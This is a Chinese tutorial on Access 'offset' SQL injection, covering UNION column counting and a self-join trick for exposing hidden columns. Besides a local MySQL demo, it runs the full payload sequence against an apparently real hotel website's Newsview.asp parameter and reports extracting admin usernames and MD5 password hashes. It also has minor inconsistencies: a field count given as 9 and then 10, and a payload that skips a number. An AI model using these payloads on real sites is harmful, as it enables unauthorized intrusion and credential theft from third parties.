Access偏移注入
应用场景
偏移注入是一种注入姿势,可以根据一个较多字段的表对一个少字段的表进行偏移注入,一般是联合查询,在页面有回显点的情况下。
当我们知道表名,字段名取名复杂,字典暴力破解字段名不成功,无法得知字段名,此时可以使用偏移注入进行查询。这种偏移注入方式往往借助个人人品,且步骤繁琐。
本地演示
phpstudy+Navicat
准备两张Mysql数据库表
admin
test_1
- 查询测试:
select * from test_1 where id=1 union select * from admin
出现报错:The used select statements have a different number of columns
原因是union两侧的查询结果的字段数不一致,test_1(9个字段),admin(4个字段)。
- 更改sql语句再次测试:
适当增删后面的字段数,不断查询试错,当sql语句可以正常执行时此时后面的字段数等于test_1的字段数,如下图:
union两侧查询结果字段数相等,sql语句可以正常执行,从而得知表test_1的字段数为10。
select admin.* from admin
admin.*表示admin表中的所有字段
- 可以将admin.*用到查询字段中,利用不断试错判断出admin表中的字段数
在上一步判断出表test_1的字段数为10,这时在admin.*的基础上追加6个字段时sql语句正常执行,说明表admin的字段数为10-6=4。
实战演示
http://www.ronghuhotel.com/Newsview.asp?id=-832 order by 16 回显正常
http://www.ronghuhotel.com/Newsview.asp?id=-832 order by 17 报错
说明字段数为16
- 联合注入
用*代替一个字段,不断向前移位,知道回显正常为止。
payload: union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from admin 报错,继续向前移
payload: union select 1,2,3,4,5,6,7,8,9,10,12,13,14,* from admin 报错,继续向前移
直到:
http://www.ronghuhotel.com/Newsview.asp?id=-832union select 1,2,3,4,5,6,7,8,9,10,11,* from admin
成功回显:
此时可以判断出admin表的字段数为16-11=5个
- 偏移注入:
公式:order by出的字段数 - *的字段数✖2
代入:16-5✖2=6
构造payload: union select 1,2,3,4,5,6,* from (admin as a inner join admin as b on a.admin_id=b.admin_id)
返回公式,*的字段为什么要乘以2?
admin as a inner join admin as b on a.admin_id=b.admin_id
这句话相当于把admin表查询了两遍,这样就可以使 * 代表的字段拓宽,加大账号,密码在显示位出现的几率。也就是说此时的*代表这句话的查询结果,其字段数为admin的二倍,为了使union两侧查询结果字段数保持一致正常回显,从而计算出我们要凑的字段数。
输入payload成功爆出用户名和md5加密的密码: